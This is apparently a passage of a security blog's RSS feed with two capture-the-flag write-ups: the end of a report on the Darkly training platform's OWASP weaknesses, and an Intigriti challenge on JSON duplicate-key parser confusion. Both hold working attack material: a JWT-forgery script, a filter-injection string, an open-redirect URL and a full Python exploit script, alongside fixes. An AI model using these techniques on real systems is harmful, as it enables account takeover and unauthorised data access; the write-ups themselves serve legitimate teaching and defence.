&lt;/ol&gt;
&lt;p&gt;No single fix saves this application, but note how many &lt;em&gt;independent&lt;/em&gt; defences would each have broken the most damaging link: &lt;code&gt;HttpOnly&lt;/code&gt; on the cookie, output encoding on the forum, an allow-list on &lt;code&gt;PATCH /api/profile&lt;/code&gt;, &lt;code&gt;defusedxml&lt;/code&gt; on the parser, a real reset token, a secrets manager for the JWT key, server-side &lt;code&gt;Origin&lt;/code&gt; validation on state-changing requests. Security is not one wall; it is depth.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;13. Bonus: Auditing the Remaining OWASP Top 10 Weaknesses&lt;/h2&gt;
&lt;p&gt;The project subject asks, for the bonus, 4 additional flags plus 5 more explained vulnerabilities — including at least one that exposes no flag. Beyond the ten flag-bearing bugs above (six mandatory, four bonus), I confirmed nine more distinct weaknesses live against the target (breaches 11–19) — bringing the running total to 19, which lines up exactly with the subject&apos;s stated platform-wide count, and nearly doubling the 5-vulnerability bonus requirement on its own. None of them mint a flag in this build; each of them weakens the platform. I document them here in the same spirit the OWASP Top 10 intends: not as trophies, but as a defensive checklist.&lt;/p&gt;
&lt;p&gt;On top of those 19, there&apos;s a 20th write-up: &lt;strong&gt;Insecure Design&lt;/strong&gt; (A04). It doesn&apos;t add a new instance — every point in it traces back to a bug already covered above (the MD5-as-secret pattern from breaches 04 and 14, the missing anti-automation from breach 19, the exposed secrets from breaches 07 and 16) — it steps back and names the design-level pattern those bugs share, rather than counting as a 20th distinct vulnerability.&lt;/p&gt;
&lt;h3&gt;13.1 — Reflected XSS (Newsletter)&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;/newsletter&lt;/code&gt; banner echoes the &lt;code&gt;email&lt;/code&gt; parameter back &lt;strong&gt;unescaped&lt;/strong&gt; (&lt;code&gt;...&amp;amp;msg=subscribed&lt;/code&gt;), executing arbitrary script in the victim&apos;s session. Combined with the non-&lt;code&gt;HttpOnly&lt;/code&gt; cookie (§13.7), a crafted link steals a higher-privileged user&apos;s session token. &lt;em&gt;Fix: context-aware output encoding + CSP.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.2 — Open Redirect&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/redirect?next=https://evil.example.com&lt;/code&gt; follows an attacker-controlled absolute URL (307), enabling phishing under a trusted domain and token leakage in OAuth-style flows. &lt;em&gt;Fix: allow-list internal paths; reject absolute/&lt;code&gt;//&lt;/code&gt;/scheme URLs.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.3 — Weak &amp;amp; Leaked JWT Signing Secret → Session Forgery&lt;/h3&gt;
&lt;p&gt;The session cookie is &lt;strong&gt;HS256-signed with the secret &lt;code&gt;42network&lt;/code&gt;&lt;/strong&gt; — trivially guessable, and leaked twice (base64 in a forum post, and in the XXE-dumped config). Crucially, the server &lt;em&gt;does&lt;/em&gt; validate the signature (an &lt;code&gt;alg:none&lt;/code&gt;, wrong-key, or unsigned token is rejected with a 302 to &lt;code&gt;/login&lt;/code&gt;), but it reads the effective role from the &lt;strong&gt;database record identified by the &lt;code&gt;sub&lt;/code&gt; claim&lt;/strong&gt;, ignoring the token&apos;s own &lt;code&gt;role&lt;/code&gt; field. So the exploit is not &quot;set &lt;code&gt;role:god&lt;/code&gt;&quot; — that field is decorative. It is &lt;strong&gt;forging a validly-signed token for any &lt;code&gt;sub&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hmac, hashlib, base64, json
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b&apos;=&apos;).decode()
h = b(b&apos;{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}&apos;)
p = b(json.dumps({&quot;sub&quot;:&quot;k1asdfeditojrb4&quot;,&quot;login&quot;:&quot;wil&quot;,&quot;role&quot;:&quot;god&quot;,
                  &quot;exp&quot;:2000000000}, separators=(&apos;,&apos;,&apos;:&apos;)).encode())
sig = b(hmac.new(b&quot;42network&quot;, f&quot;{h}.{p}&quot;.encode(), hashlib.sha256).digest())
print(f&quot;session={h}.{p}.{sig}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Impersonating a victim&apos;s &lt;code&gt;sub&lt;/code&gt; returns &lt;code&gt;200&lt;/code&gt; on &lt;code&gt;/admin&lt;/code&gt; and &lt;code&gt;/staff/dashboard&lt;/code&gt; — a &lt;strong&gt;complete authentication bypass to any account, without credentials.&lt;/strong&gt; &lt;em&gt;Fix: long random secret-managed key, rotation, and preferably server-side sessions or short-lived RS256 tokens.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.4 — Weak Passwords + Exposed MD5 Password Hints&lt;/h3&gt;
&lt;p&gt;Every user carries a &lt;code&gt;pw_hint&lt;/code&gt; that is simply the &lt;strong&gt;unsalted MD5 of the password&lt;/strong&gt;, readable via the IDOR/PocketBase exposure. Cracking against &lt;code&gt;rockyou.txt&lt;/code&gt; recovered real credentials (&lt;code&gt;benjamin:b3njamin!&lt;/code&gt;), confirmed against PocketBase&apos;s &lt;code&gt;auth-with-password&lt;/code&gt;. &lt;em&gt;Fix: never derive a hint from the password; hash with bcrypt/argon2; enforce strength.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.5 — PocketBase Filter Injection (NoSQL-style)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/api/grades?student=&amp;lt;id&amp;gt;&lt;/code&gt; and the forum &lt;code&gt;search&lt;/code&gt; parameter concatenate user input into a PocketBase filter string. Injecting &lt;code&gt;x&quot; || &quot;1&quot;=&quot;1&lt;/code&gt; breaks out of the filter and dumps &lt;em&gt;all&lt;/em&gt; records. &lt;em&gt;Fix: parameterised filters (&lt;code&gt;filter=&quot;student={:id}&quot;&lt;/code&gt;), never string concatenation.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.6 — Sensitive Data / Schema Disclosure &amp;amp; BOLA&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/api/docs-internal&lt;/code&gt; hands an attacker the exact mass-assignment field list and the grades-injection sink; &lt;code&gt;/api/users/{id}&lt;/code&gt; returns private fields (&lt;code&gt;private_note&lt;/code&gt;, &lt;code&gt;pw_hint&lt;/code&gt;, &lt;code&gt;recovery_code&lt;/code&gt;) for &lt;em&gt;any&lt;/em&gt; id, breaking object-level authorisation. &lt;em&gt;Fix: remove debug endpoints from production; enforce per-object authorisation.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.7 — Security Misconfiguration&lt;/h3&gt;
&lt;p&gt;Verbose stack/version headers (&lt;code&gt;x-powered-by&lt;/code&gt;, &lt;code&gt;server&lt;/code&gt;), backend signposting (&lt;code&gt;x-pocketbase&lt;/code&gt;), backup metadata headers naming the LFI target, a &lt;strong&gt;non-&lt;code&gt;HttpOnly&lt;/code&gt; session cookie&lt;/strong&gt;, and an internet-reachable admin console. Each one shortcuts another breach in this report. &lt;em&gt;Fix: strip informational headers; &lt;code&gt;HttpOnly&lt;/code&gt;+&lt;code&gt;Secure&lt;/code&gt;+&lt;code&gt;SameSite&lt;/code&gt;; isolate the admin console.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.8 — Vulnerable &amp;amp; Outdated Components (A06)&lt;/h3&gt;
&lt;p&gt;The team &lt;em&gt;disabled &lt;code&gt;defusedxml&lt;/code&gt; on purpose&lt;/em&gt; (deploy log) — the direct root cause of the XXE — and pins outdated FastAPI 0.104, uvicorn 0.24.0, and PocketBase 0.22.4. &lt;em&gt;Fix: re-enable safe XML parsing; patch and pin to maintained releases.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.9 — Security Logging &amp;amp; Monitoring Failures (A09)&lt;/h3&gt;
&lt;p&gt;Six wrong logins in a row all return 302 — &lt;strong&gt;no lockout, no throttling, no captcha&lt;/strong&gt; — and the &quot;telemetry&quot; is admitted in the deploy log to be &lt;em&gt;&quot;just a console.log.&quot;&lt;/em&gt; Hundreds of requests, credential guessing, session forgery, and full DB dumps ran unthrottled and (observably) unalerted. &lt;em&gt;Fix: real security-event logging, alerting, and login rate-limiting.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;13.10 — Insecure Design (A04)&lt;/h3&gt;
&lt;p&gt;Several weaknesses here are &lt;strong&gt;design choices, not isolated bugs&lt;/strong&gt; — the system is insecure &lt;em&gt;as specified&lt;/em&gt;: the reset token is &lt;code&gt;md5(email)&lt;/code&gt; and every &lt;code&gt;pw_hint&lt;/code&gt; is &lt;code&gt;md5(password)&lt;/code&gt; (MD5 used as a secret), the reset token is predictable-by-construction, there is no anti-automation on the auth flows, and secrets/schema are reachable by design (&lt;code&gt;/internal/config&lt;/code&gt;, &lt;code&gt;/api/docs-internal&lt;/code&gt;). Patching single endpoints can&apos;t fix a threat model that was never applied. &lt;em&gt;Fix: threat-model up front; CSPRNG single-use server-bound tokens; bcrypt/argon2; rate-limit auth; keep secrets and schema off reachable routes.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;14. Closing Thoughts: The Two Applications&lt;/h2&gt;
&lt;p&gt;Darkly&apos;s real lesson is not any single payload — it is a way of seeing. Every feature in a web application is simultaneously a &lt;em&gt;capability for the user&lt;/em&gt; and a &lt;em&gt;primitive for the attacker&lt;/em&gt;, and secure engineering is the discipline of never losing sight of the second reading. A profile link is also an object reference. An uploader is also a code path. A hint is also a hash. A moderation bot is also a privileged client rendering your input. A config endpoint is also a secrets leak waiting for the right XML entity. A cookie attribute is also the &lt;em&gt;only&lt;/em&gt; line of defence, if nothing server-side backs it up.&lt;/p&gt;
&lt;p&gt;Ten of those dual readings became flags. Ten more became a defensive checklist. None of them are fixed by a single patch — the pattern across all twenty is the same: some client-observable behaviour (a redirect, a cookie flag, a &lt;code&gt;robots.txt&lt;/code&gt; disallow, a hint field) was quietly doing the job that server-side validation was supposed to do. Darkly&apos;s real curriculum is learning to notice exactly where that substitution happened, on every feature, before an attacker does.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Explore the Codebase&lt;/h3&gt;
&lt;p&gt;Ready to inspect every &lt;code&gt;exploit.sh&lt;/code&gt;, read the full per-breach explanations, and see the flags and screenshots for yourself? Access the complete, documented repository on GitHub:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center gap-4 mb-4 sm:mb-0&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl&quot;&amp;gt;
OWASP
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-lg font-bold text-90 m-0&quot;&amp;gt;onevilx / darkly&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-sm text-50 m-0&quot;&amp;gt;10 flags, 19 explained vulnerabilities plus a design-level synthesis, and per-breach exploit scripts against a 42 Network training platform&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/darkly&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; class=&quot;no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto&quot;&amp;gt;
View Repository on GitHub →
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclosure note:&lt;/strong&gt; This is an intentionally vulnerable 42 Network training platform. Everything here was performed against the sanctioned target, within the project&apos;s stated scope.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Intigriti 0726 Challenge — JSON Key Bypass &amp; TOCTOU</title><link>https://www.onevilx.tech/posts/intigriti-july-2026-toctou/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/intigriti-july-2026-toctou/</guid><description>A deep-dive technical writeup and source code explanation of my automated Python exploit for Intigriti&apos;s Challenge 0726, breaking a polyglot system via JSON duplicate key parsing collisions.</description><pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; Intigriti Monthly Web Security Challenge 0726&lt;br /&gt;
&lt;strong&gt;Target Platform:&lt;/strong&gt; &lt;code&gt;https://challenge-0726.intigriti.io&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; JSON Duplicate Key Parser Confusion / TOCTOU Authorization Bypass&lt;br /&gt;
&lt;strong&gt;Source Code &amp;amp; Exploit Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/Intigriti/Challenge_0726&quot;&gt;onevilx/Writeups - Challenge_0726&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Executive Summary &amp;amp; Challenge Architecture&lt;/h2&gt;
&lt;p&gt;Modern enterprise microservice architectures routinely delegate application functionality across diverse programming frameworks and parsing parsers. In Intigriti&apos;s &lt;strong&gt;Challenge 0726&lt;/strong&gt;, the core application mimics a highly defended package deployment and reporting platform. Users are restricted to interacting strictly with package namespaces assigned to their own registered student accounts. The definitive objective of the challenge is to break outside of this isolated namespace tenancy and extract confidential internal security documentations stored inside the protected &lt;code&gt;@core/security-notes&lt;/code&gt; system module.&lt;/p&gt;
&lt;p&gt;During my vulnerability reconnaissance against the live challenge endpoints, I uncovered a fatal &lt;strong&gt;Time-of-Check to Time-of-Use (TOCTOU)&lt;/strong&gt; race and structural parser confusion flaw. By feeding carefully crafted raw JSON payload structures containing &lt;strong&gt;duplicate dictionary keys&lt;/strong&gt; into the cryptographic package signing engine, an attacker can bypass cryptographic integrity verifications and trick downstream execution services into executing restricted releases without authorization.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Polyglot Parser Confusion: First-Key vs. Last-Key Evaluation&lt;/h2&gt;
&lt;p&gt;The conceptual foundation of this vulnerability relies on an ambiguous specification standard within &lt;strong&gt;RFC 8259&lt;/strong&gt; regarding how data serialization parsers should process JSON object strings that define multiple identical property keys within the same structural block:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;package&quot;: {&quot;scope&quot;: &quot;user_namespace_abc123&quot;, &quot;name&quot;: &quot;hello-world&quot;, &quot;version&quot;: &quot;1.0.0&quot;},
    &quot;package&quot;: {&quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;, &quot;version&quot;: &quot;1.0.0&quot;},
    &quot;metadata&quot;: {&quot;description&quot;: &quot;automated bypass&quot;, &quot;visibility&quot;: &quot;private&quot;},
    &quot;operation&quot;: &quot;preflight&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an application stack utilizes disparate parsing libraries between its verification perimeter and its execution core, catastrophic authorization discrepancies occur:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Authorization &amp;amp; Signing Gate (Time-of-Check):&lt;/strong&gt; The frontend security verifier evaluates the raw payload stream utilizing a parsing routine that adopts a &lt;strong&gt;&quot;First-Key-Wins&quot;&lt;/strong&gt; logic pattern. It inspects the initial &lt;code&gt;&quot;package&quot;&lt;/code&gt; declaration, confirms that &lt;code&gt;&quot;scope&quot;&lt;/code&gt; matches the user&apos;s legitimately assigned tenancy (&lt;code&gt;user_namespace_abc123&lt;/code&gt;), and confidently attaches a valid cryptographic digital approval signature (&lt;code&gt;manifest_sha256&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, and &lt;code&gt;signature&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Publication Engine (Time-of-Use):&lt;/strong&gt; Once signed, the packet is transmitted to the downstream backend publication processor. This backend engine parses the exact same signed Base64 manifest utilizing an interpreter dictionary implementation that follows a &lt;strong&gt;&quot;Last-Key-Wins&quot;&lt;/strong&gt; behavior! As the parser builds its parameter structures in system memory, the second &lt;code&gt;&quot;package&quot;&lt;/code&gt; definition overwrites the first—causing the engine to generate an authoritative preflight release directly against the restricted &lt;code&gt;@core/security-notes&lt;/code&gt; repository!&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|              INTIGRITI CHALLENGE 0726 EXPLOITATION WORKFLOW                |
+-----------------------------------------------------------------------------+
| 1. POST /api/login -&amp;gt; Retrieve assigned Namespace &amp;amp; x-csrf-token            |
|                                                                             |
| 2. Construct Dual-Key Raw Manifest String:                                  |
|    Key 1: [Allowed] -&amp;gt; {&quot;scope&quot;: &quot;&amp;lt;user_namespace&amp;gt;&quot;, &quot;name&quot;: &quot;hello-world&quot;}|
|    Key 2: [Target]  -&amp;gt; {&quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;}          |
|                                                                             |
| 3. POST /api/manifests/sign (Time-of-Check)                                 |
|    [Frontend Verifier] -&amp;gt; Reads Key 1 -&amp;gt; Validates Scope -&amp;gt; ISSUES SIGNATURE|
|                                                                             |
| 4. POST /api/publications (Time-of-Use)                                     |
|    [Backend Engine]    -&amp;gt; Reads Key 2 (Override!) -&amp;gt; Deploys @core module!  |
|                                                                             |
| 5. GET /api/publications/&amp;lt;pub_id&amp;gt; -&amp;gt; RETRIEVE EXPOSED SECRET FLAG RELEASE!   |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Dissecting My Automated Python Exploit (&lt;code&gt;exploit.py&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;To systematically automate this multi-stage exploitation pipeline, I authored a custom Python proof-of-concept exploit tool designed to interface directly with the challenge APIs. Below is the full, unmodified production source code from my GitHub repository, followed by an architectural breakdown of each operational stage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Intigriti Challenge 0726 — Automated PoC Exploit
Vulnerability: JSON Duplicate Key Authorization Bypass (TOCTOU)
&quot;&quot;&quot;

import requests
import json
import base64
import sys

BASE_URL = &quot;https://challenge-0726.intigriti.io&quot;
USERNAME = &quot;YOUR_USERNAME&quot;
PASSWORD = &quot;YOUR_PASSWORD&quot;

s = requests.Session()

print(&quot;[*] Step 1: Authenticating to challenge platform...&quot;)
r = s.post(f&quot;{BASE_URL}/api/login&quot;, json={&quot;username&quot;: USERNAME, &quot;password&quot;: PASSWORD})
if &quot;error&quot; in r.text or r.status_code != 200:
    print(f&quot;[-] Login failed: {r.text}&quot;)
    sys.exit(1)

namespace = r.json()[&quot;user&quot;][&quot;namespace&quot;]
csrf = s.get(f&quot;{BASE_URL}/api/me&quot;).json()[&quot;csrf_token&quot;]
print(f&quot;[+] Authenticated! Assigned Namespace: {namespace}&quot;)
print(f&quot;[+] CSRF Token Obtained: {csrf[:16]}...&quot;)

print(&quot;\n[*] Step 2: Constructing dual-key payload (TOCTOU trigger)...&quot;)
# First package key passes authorization, second key executes on restricted target
manifest_raw = &apos;&apos;&apos;{
    &quot;package&quot;: {&quot;scope&quot;: &quot;&apos;&apos;&apos; + namespace + &apos;&apos;&apos;&quot;, &quot;name&quot;: &quot;hello-world&quot;, &quot;version&quot;: &quot;1.0.0&quot;},
    &quot;package&quot;: {&quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;, &quot;version&quot;: &quot;1.0.0&quot;},
    &quot;metadata&quot;: {&quot;description&quot;: &quot;automated bypass&quot;, &quot;visibility&quot;: &quot;private&quot;},
    &quot;operation&quot;: &quot;preflight&quot;
}&apos;&apos;&apos;

manifest_b64 = base64.b64encode(manifest_raw.encode()).decode()

print(&quot;\n[*] Step 3: Requesting cryptographic approval signature...&quot;)
headers = {&quot;x-csrf-token&quot;: csrf}
r = s.post(f&quot;{BASE_URL}/api/manifests/sign&quot;, json={&quot;manifest_b64&quot;: manifest_b64}, headers=headers)
if &quot;error&quot; in r.text:
    print(f&quot;[-] Signing failed: {r.text}&quot;)
    sys.exit(1)

approval = r.json()
print(f&quot;[+] Approval Granted! Approval ID: {approval[&apos;approval_id&apos;]}&quot;)

print(&quot;\n[*] Step 4: Submitting signed payload to publications engine...&quot;)
payload = {
    &quot;manifest_b64&quot;: manifest_b64,
    &quot;approval_id&quot;: approval[&quot;approval_id&quot;],
    &quot;manifest_sha256&quot;: approval[&quot;manifest_sha256&quot;],
    &quot;nonce&quot;: approval[&quot;nonce&quot;],
    &quot;expires_at&quot;: approval[&quot;expires_at&quot;],
    &quot;signature&quot;: approval[&quot;signature&quot;]
}
r = s.post(f&quot;{BASE_URL}/api/publications&quot;, json=payload, headers=headers)
pub_id = r.json()[&quot;publication_id&quot;]
print(f&quot;[+] Report generated! Publication ID: {pub_id}&quot;)

print(&quot;\n[*] Step 5: Fetching restricted system release notes...&quot;)
report = s.get(f&quot;{BASE_URL}/api/publications/{pub_id}&quot;).json()

flag = report[&quot;report&quot;][&quot;release_notes&quot;]
print(&quot;\n&quot; + &quot;=&quot;*55)
print(f&quot;  🚩 CAPTURED FLAG: {flag}&quot;)
print(&quot;=&quot;*55)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Architectural Step-by-Step Code Walkthrough&lt;/h2&gt;
&lt;h3&gt;Step 1: Authentication &amp;amp; Session Triage&lt;/h3&gt;
&lt;p&gt;Before submitting payloads, the script initializes a persistent network session (&lt;code&gt;requests.Session()&lt;/code&gt;) and authenticates via &lt;code&gt;POST /api/login&lt;/code&gt;. Upon verifying valid operator credentials, the target server assigns a sandboxed execution tenancy identifier (&lt;code&gt;namespace&lt;/code&gt;). To bypass standard Cross-Site Request Forgery protections across subsequent POST endpoints, our program queries &lt;code&gt;GET /api/me&lt;/code&gt;, extracting the dynamic cryptographic &lt;code&gt;csrf_token&lt;/code&gt; directly into memory.&lt;/p&gt;
&lt;h3&gt;Step 2: Constructing the Dual-Key Raw Manifest String&lt;/h3&gt;
&lt;p&gt;Notice how our script does &lt;strong&gt;not&lt;/strong&gt; generate the payload utilizing Python’s native dictionary serialization (&lt;code&gt;json.dumps()&lt;/code&gt;). If we had constructed standard Python dictionaries, the local runtime interpreter would automatically drop the initial duplicate key prior to network transmission!&lt;/p&gt;
&lt;p&gt;By explicitly declaring &lt;code&gt;manifest_raw&lt;/code&gt; as an unparsed literal multi-line string, we force the string assembly to retain both conflicting &lt;code&gt;&quot;package&quot;&lt;/code&gt; declarations intact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key 1 (Authoritative Bypass):&lt;/strong&gt; &lt;code&gt;&quot;scope&quot;: namespace&lt;/code&gt; immediately convinces the API signing security layer that our deployment operates strictly inside authorized boundaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key 2 (Target Exfiltration):&lt;/strong&gt; &lt;code&gt;&quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;&lt;/code&gt; waits silently to override backend variable evaluation during the execution phase.
The raw string is subsequently converted into an ASCII Base64 execution string (&lt;code&gt;manifest_b64&lt;/code&gt;) to prevent intermediate HTTP reverse-proxies from stripping formatting characters during route forwarding.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: Acquiring Cryptographic Approval Signatures&lt;/h3&gt;
&lt;p&gt;With our forged payload finalized and headers populated with &lt;code&gt;x-csrf-token&lt;/code&gt;, the tool initiates a verification request against &lt;code&gt;POST /api/manifests/sign&lt;/code&gt;. Because the verification perimeter parses our first package scope successfully, it trusts the structure and responds with an authoritative approval array—returning an authorized &lt;code&gt;approval_id&lt;/code&gt;, a timestamped &lt;code&gt;expires_at&lt;/code&gt; token, a random cryptographic &lt;code&gt;nonce&lt;/code&gt;, and an unforgeable HMAC-SHA256 digital signature!&lt;/p&gt;
&lt;h3&gt;Steps 4 &amp;amp; 5: Triggering TOCTOU Collision &amp;amp; Flag Exfiltration&lt;/h3&gt;
&lt;p&gt;Equipped with a genuine cryptographic approval bundle, our program fires the complete payload directly into the processing engine via &lt;code&gt;POST /api/publications&lt;/code&gt;. The downstream service validates the HMAC signature against the supplied Base64 string and unpacks the JSON directly into its native processing logic. Because its internal JSON decoding engine executes a Last-Key-Wins key-value replacement loop, it assigns &lt;code&gt;&quot;scope&quot;: &quot;core&quot;&lt;/code&gt; as the operative publication target!&lt;/p&gt;
&lt;p&gt;Within milliseconds, the backend compiles the preflight build report and assigns a dynamic &lt;code&gt;publication_id&lt;/code&gt;. Our final function queries &lt;code&gt;GET /api/publications/{pub_id}&lt;/code&gt;, pulling down the unprotected administrative diagnostics and printing the winning challenge flag straight to standard output!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Remediation &amp;amp; Secure Parsing Guidelines&lt;/h2&gt;
&lt;p&gt;To defend complex web applications against polyglot parser collisions and TOCTOU JSON manipulation vulnerabilities, software architects should implement the following defensive controls:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Enforce Strict Zero-Duplicate JSON Schema Validation:&lt;/strong&gt; Configure incoming API gateways and REST parsers to treat duplicate dictionary keys as fatal parsing exceptions. Libraries like &lt;code&gt;Fastify&lt;/code&gt;, &lt;code&gt;Ajv&lt;/code&gt;, or strict RFC-compliant Go JSON validators should immediately terminate request execution upon encountering repeated properties.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-Verify Cryptographic Claims at the Execution Boundary:&lt;/strong&gt; Never rely blindly on perimeter approval signatures without re-running architectural authorization checks at the exact point of consumption. When the publication service unpacks a manifest, it should explicitly verify whether the decrypted target scope matches the authenticating user’s runtime JWT identity token!&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;💻 View the Complete Source Code on GitHub&lt;/h3&gt;
&lt;p&gt;All accompanying markdown docs, challenge blueprints, and production Python exploitation tools for Intigriti challenges are hosted in my open-source repository:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-6&quot;&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/Intigriti/Challenge_0726&quot; target=&quot;_blank&quot; class=&quot;not-prose block p-6 bg-gradient-to-r from-purple-900/40 to-indigo-900/40 hover:from-purple-900/60 hover:to-indigo-900/60 border border-purple-500/30 hover:border-purple-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-purple-500/10 group&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center justify-between&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center space-x-4&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-purple-500/20 text-purple-400 rounded-xl group-hover:scale-110 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-8 w-8&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;
&amp;lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M12 2C6.477 2 2 6.484 2 12.017c0 4.425 2.865 8.18 6.839 9.504.5.092.682-.217.682-.483 0-.237-.008-.868-.013-1.703-2.782.605-3.369-1.343-3.369-1.343-.454-1.158-1.11-1.466-1.11-1.466-.908-.62.069-.608.069-.608 1.003.07 1.53 1.032 1.53 1.032.892 1.53 2.341 1.088 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.113-4.555-4.951 0-1.093.39-1.988 1.029-2.688-.103-.253-.446-1.272.098-2.65 0 0 .84-.27 2.75 1.026A9.564 9.564 0 0112 6.844c.85.004 1.705.115 2.504.337 1.909-1.296 2.747-1.027 2.747-1.027.546 1.379.202 2.398.1 2.651.64.7 1.028 1.595 1.028 2.688 0 3.848-2.339 4.695-4.566 4.943.359.309.678.92.678 1.855 0 1.338-.012 2.419-.012 2.747 0 .268.18.58.688.482A10.019 10.019 0 0022 12.017C22 6.484 17.522 2 12 2z&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-xl font-bold text-white group-hover:text-purple-300 transition duration-300 flex items-center gap-2&quot;&amp;gt;
onevilx / Writeups / CTFs / Intigriti / Challenge_0726
&amp;lt;span class=&quot;text-xs px-2.5 py-0.5 rounded-full bg-purple-500/20 text-purple-300 border border-purple-500/30&quot;&amp;gt;Python Exploit&amp;lt;/span&amp;gt;
&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-neutral-300 text-sm mt-1&quot;&amp;gt;View my full markdown walkthroughs, challenge blueprints, and run the automated PoC exploit directly from GitHub.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;text-purple-400 group-hover:translate-x-1 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-6 w-6&quot; fill=&quot;none&quot; viewBox=&quot;0 0 24 24&quot; stroke=&quot;currentColor&quot;&amp;gt;
&amp;lt;path stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; stroke-width=&quot;2&quot; d=&quot;M14 5l7 7m0 0l-7 7m7-7H3&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
